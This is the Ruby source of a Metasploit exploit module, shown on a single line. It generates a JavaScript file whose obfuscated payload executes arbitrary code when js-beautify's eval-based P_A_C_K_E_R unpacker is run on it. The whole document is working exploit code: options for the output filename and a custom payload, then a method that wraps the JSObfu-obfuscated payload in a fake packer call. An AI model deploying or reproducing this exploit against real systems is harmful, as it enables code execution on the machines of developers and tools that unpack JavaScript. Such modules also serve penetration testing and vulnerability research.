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## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' require 'msf/core/exploit/jsobfu' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::FILEFORMAT include Msf::Exploit::JSObfu def initialize(info = {}) super(update_info(info, 'Name' => 'Javascript Injection for Eval-based Unpackers', 'Description' => %q{ This module generates a Javascript file that executes arbitrary code when an eval-based unpacker is run on it. Works against js-beautify's P_A_C_K_E_R unpacker. }, 'Author' => [ 'joev' ], 'License' => MSF_LICENSE, 'References' => [ ], 'Platform' => 'nodejs', 'Arch' => ARCH_NODEJS, 'Privileged' => false, 'Targets' => [['Automatic', {}]], 'DisclosureDate' => 'Feb 18 2015', 'DefaultTarget' => 0)) register_options([ OptString.new('FILENAME', [true, 'The file name.', 'msf.js']), OptString.new('CUSTOM_JS', [false, 'Custom Javascript payload.']) ], self.class) end def exploit p = js_obfuscate(datastore['CUSTOM_JS'] || payload.encoded); print_status("Creating '#{datastore['FILENAME']}' file...") file_create("eval(function(p,a,c,k,e,r){}((function(){ #{p} })(),''.split('|'),0,{}))") end end Source